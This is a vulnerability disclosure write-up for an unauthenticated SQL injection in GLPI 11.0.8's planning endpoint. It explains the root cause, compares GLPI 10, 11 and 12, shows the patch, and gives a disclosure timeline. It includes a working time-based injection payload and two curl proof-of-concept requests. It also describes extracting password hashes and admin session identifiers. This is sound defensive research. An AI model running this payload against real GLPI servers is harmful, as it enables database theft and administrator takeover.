Context
GLPI is one of the most widely deployed open source IT asset management platforms. Helpdesk, inventory, tickets, contracts, directory: it concentrates sensitive operational data and is regularly found exposed on the Internet.
| Property | Value |
|---|---|
| Version tested | GLPI 11.0.8, clean install, no plugins |
| Class | SQL injection (CWE-89) |
| Authentication | None |
| Advisory | GHSA-753w-2942-4pxm |
Reaching the vulnerable code without authentication
The entry point is front/planning.php. Two independent design choices combine
to open the way for an anonymous client.
genical disables the rights check
// front/planning.php
if (!isset($_GET['genical'])) {
Session::checkRight("planning", READ);
}
checkavailability short-circuits token validation
if (isset($_GET['checkavailability'])) {
Planning::checkAvailability($_GET); // reached first
} elseif (isset($_GET['genical'])) {
if (isset($_GET['token'])) {
// token validation here...
}
}
The iCalendar token is only checked in the elseif branch. Since
checkavailability is tested first, sending both parameters runs
checkAvailability() without ever reaching the validation.
checkAvailability() accepts dates without validation
$begin = $params['begin'] ?? date('Y-m-d');
$end = max($params['end'] ?? date('Y-m-d'), $begin);
The method checks that itemtype and its id (users_id) point to an existing record (itemtype=User&users_id=2, the default super-admin), then lets begin/end through without validation.
The full request:
GET /front/planning.php?genical=1&checkavailability=1&itemtype=User&users_id=2&begin=<INJECTION>&end=z
The root cause: concatenation into QueryExpression
checkAvailability() calls populatePlanning() and populateNotPlanned() for each planning type. The bug is in the not planned branch.
In CommonITILTask::genericPopulatePlanning() (reached via TicketTask,
ChangeTask, ProblemTask):
// src/CommonITILTask.php (~line 1379)
if (isset($options['not_planned'])) {
$WHERE = [
// ...
new QueryExpression($edate . " >= '" . $begin . "'"), // $begin injected raw
new QueryExpression($bdate . " <= '" . $end . "'"), // $end injected raw
];
} else {
// safe branch: values escaped by the query builder
$WHERE = [
$item->getTable() . '.end' => ['>=', $begin],
$item->getTable() . '.begin' => ['<=', $end],
];
}
The else branch escapes $begin through the array syntax (['>=', $begin] → quoteValue()); the not_planned branch concatenates it raw into a QueryExpression. A ' then breaks out of the literal and injects arbitrary SQL.
The same pattern exists in ProjectTask::populatePlanning() (~line 1921).
This branch does run: populateNotPlanned() sets $options['not_planned'] = true (via genericPopulateNotPlanned()) before calling genericPopulatePlanning().
One quirk: the availability Twig template appends a time suffix to each bound (" 08:00:00" / " 20:00:00"). The payload closes the quote, injects the condition, then re-opens one to absorb the suffix, hence the AND '1 ending.
Exploitation
On a fresh install, the planning tables are empty, so a SLEEP() in the WHERE never fires. The way around it: an uncorrelated subquery with its own FROM clause is evaluated at optimization time, independently of the outer table. Targeting glpi_configs (always populated) gives a guaranteed evaluation:
begin = 2000-01-01' AND (SELECT IF(<CONDITION>, SLEEP(1), 0) FROM glpi_configs LIMIT 1) AND '1
The injection point is hit several times per request.
Proof of concept
Two requests, only the condition changes (1=2 vs 1=1):
curl -sS -o /dev/null \
-w 'HTTP %{http_code} - %{time_total}s\n' \
--get 'http://127.0.0.1:8081/front/planning.php' \
--data-urlencode 'genical=1' \
--data-urlencode 'checkavailability=1' \
--data-urlencode 'itemtype=User' \
--data-urlencode 'users_id=2' \
--data-urlencode "begin=2000-01-01' AND (SELECT IF(1=2, SLEEP(1), 0) FROM glpi_configs LIMIT 1) AND '1" \
--data-urlencode 'end=z'
curl -sS -o /dev/null \
-w 'HTTP %{http_code} - %{time_total}s\n' \
--get 'http://127.0.0.1:8081/front/planning.php' \
--data-urlencode 'genical=1' \
--data-urlencode 'checkavailability=1' \
--data-urlencode 'itemtype=User' \
--data-urlencode 'users_id=2' \
--data-urlencode "begin=2000-01-01' AND (SELECT IF(1=1, SLEEP(1), 0) FROM glpi_configs LIMIT 1) AND '1" \
--data-urlencode 'end=z'
Impact
An unauthenticated remote attacker can read the entire GLPI application database: password hashes, configuration, inventory, tickets, projects, users. Depending on the version, this read access can lead to an administrator account takeover (detailed below) and remote code execution.
Multi-version analysis: GLPI 10, 11 and 12
The same bug produces very different effects depending on what surrounds it.
GLPI 10.x
The injection point exists in 10.x, but GLPI ≤ 10 applies global input escaping
as early as inc/includes.php: Sanitizer::sanitize($_GET) passes every value
through $DB->escape() (mysqli::real_escape_string()).
The injected ' becomes \' before it reaches the SQL. The general_log shows:
... WHERE `glpi_changetasks`.`date` >= '2000-01-01\' AND SLEEP(2) AND \'1 08:00:00' ...
The payload is folded back into the string literal, SLEEP() does not run.
GLPI 10 is therefore not exploitable through this injection.
GLPI 11.0.8
GLPI 11 dropped global escaping in favor of contextual escaping inside the query
builder. A good long-term choice - except that a hand-built QueryExpression
bypasses that layer. The raw ' reaches the query intact, and the injection
works.
The injection is read-only, and 11.0.8 stores no replayable secret in clear text: sessions on disk, encrypted tokens. One lever is to retrieve the password hashes and crack them.
12-dev branch
On the 12 branch, the SessionTracker stores PHP session identifiers in clear
text in glpi_users_sessions (column session_file). No more hash to crack:
the oracle extracts the session identifier of a logged-in admin.
This observation is reported so that it can be handled before a stable release. The 12-dev branch is not among the affected stable versions.
Fix and recommendations
The fix (GHSA-753w-2942-4pxm) replaces the raw concatenation with
quoteValue():
- new QueryExpression($edate . " >= '" . $begin . "'"),
- new QueryExpression($bdate . " <= '" . $end . "'"),
+ new QueryExpression($edate . " >= " . $DB::quoteValue($begin)),
+ new QueryExpression($bdate . " <= " . $DB::quoteValue($end)),
Applied to src/CommonITILTask.php and src/ProjectTask.php.
Disclosure timeline
| Date | Event |
|---|---|
| 2026-08-03 | Reported to the GLPI security team |
| 2026-08-10 | Report confirmed |
| 2026-08-12 | CVE assignment requested |
| 2026-09-07 | Fix validated, private fork deleted |
| 2026-09-16 | GLPI 11.0.9 released (patched version) |
| 2026-10-20 | Article released |
| Pending | CVE assignment |
References
- Advisory
GHSA-753w-2942-4pxm: coming soon - GLPI security advisories: https://github.com/glpi-project/glpi/security/advisories
Ces techniques s’appliquent
à votre périmètre ?
Un échange de 30 min avec nos pentesters certifiés pour cadrer votre exposition. Sans engagement.